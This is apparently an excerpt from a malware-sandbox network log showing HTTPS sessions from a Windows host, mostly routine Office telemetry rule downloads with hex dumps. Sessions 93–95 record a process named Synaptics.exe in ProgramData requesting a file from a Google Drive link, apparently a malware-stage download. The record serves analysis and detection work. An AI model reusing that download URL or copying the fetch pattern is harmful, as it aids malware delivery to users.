2024-12-05 23:16:11 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49950	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:10 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:10 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6982fb9b-a01e-0021-5291-46814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231610Z-1746fd949bd2cq7chC1EWRnx9g00000002zg00000000dk7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:11 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49951	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:10 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 490c4061-c01e-000b-75c3-45e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231610Z-1746fd949bdkw94lhC1EWRxuz400000003h000000000c3fd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49952	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:10 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:10 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 8c022bf0-601e-0070-5bcb-45a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231610Z-1746fd949bddtfvqhC1EWRxbpg00000003dg000000000pnx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:11 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49957	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:12 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:13 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:12 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-wSfgltkTIdDFRPZzXMHV_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC6BqFoft7TfjdaQYuA1NvSxhr5fZuqczW12qMwisSZmS5JSw0uKvZv3oDGak862oYnmV5Ueg4MbBg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:16:13 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:16:13 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 57 5a 76 45 39 45 6c 6a 76 7a 43 63 37 71 44 67 38 59 4a 53 4b 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="WZvE9EljvzCc7qDg8YJSKQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:16:13 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49959	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:12 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:13 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-es-jJZ6Nuw9islqbrkEdEw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49958	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:12 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:13 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-xG9kpHqXImAV4tm2J4dVrg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49960	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:12 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:12 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: de9014ac-301e-0051-7cc5-4538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231612Z-1746fd949bdlqd7fhC1EWR6vt000000003k000000000873b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:13 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49964	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:12 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:13 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ddae3c3f-c01e-008d-3acb-452eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231613Z-1746fd949bdl6zq5hC1EWRf3ws00000002y000000000tfps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:13 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49966	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:12 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:13 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 8da67b63-c01e-0034-2ecb-452af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231613Z-1746fd949bd6zq92hC1EWRry48000000037g00000000u252 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:13 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49965	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:12 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:13 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 85a33a74-901e-005b-1ccd-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231613Z-1746fd949bdb8xvchC1EWRmbd400000003cg000000003ufn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:13 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49963	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:12 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
